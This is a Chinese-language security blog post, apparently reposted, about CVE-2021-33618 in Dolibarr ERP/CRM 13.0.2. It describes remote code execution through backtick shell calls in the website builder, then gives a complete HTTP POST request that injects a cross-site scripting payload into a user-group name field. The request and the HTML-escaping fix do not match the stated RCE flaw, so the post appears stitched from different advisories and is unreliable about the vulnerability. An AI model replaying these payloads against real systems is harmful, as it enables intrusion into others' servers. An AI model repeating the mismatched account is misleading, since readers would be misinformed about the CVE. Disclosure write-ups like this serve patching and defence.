CVE-2021-33618 Dolibarr ERP/CRM 13.0.2 远程代码执行
CVE-2021-33618 Dolibarr ERP/CRM 13.0.2 远程代码执行
Khan安全团队
发布于 2021-12-21 19:29:07
发布于 2021-12-21 19:29:07
文章被收录于专栏：Khan安全团队
受影响的产品：Dolibarr ERP 和 CRM
测试版本：Dolibarr 13.0.2
默认设置下的 Dolibarr 应用程序允许远程代码执行 在网站构建器模块中。当尝试使用像“exec()”这样的语句时， “system()”或“shell_exec()”应用程序正确地阻止了它们。但是我们能够使用“``”（反引号）来执行代码，这与 "shell_exec()" 或 "echo fread(popen('/bin/ls /', 'r'), 4096);"。
POST /user/group/card.php HTTP/1.1
Host: 10.11.9.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -securitytest-for-dolibarr
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------329097076628264922392755475836
Content-Length: 950
Origin: http://10.11.9.80
Connection: close
Referer: http://10.11.9.80/user/group/card.php?id=1&action=edit&token=4726524fe505b027519a535e08c11fb6
Cookie: PHPSESSID=8s2jl8fhmbm5th8r4baasak1q2; DOLSESSID_736206a821984837877b8a6a901910d2=4jkf7smp24evfm3vvnnunj8jaq
Upgrade-Insecure-Requests: 1
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="token"
6585d0838337cafddc3387fcccbe9d91
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="action"
update
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="backtopage"
/user/group/card.php?id=1
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="id"
1
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="nom"
Trovent<<body onpointermove=alert(1) <>test
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="note"
- -----------------------------329097076628264922392755475836
Content-Disposition: form-data; name="save"
Save
- -----------------------------329097076628264922392755475836--修复方案：
始终对用户输入进行转义， 无论其反映在何处。将所有 HTML 标签和属性列入黑名单。
在 Dolibarr 版本 14.0.0 中修复，由 Trovent 验证。
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2021-12-18，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
腾讯云开发者
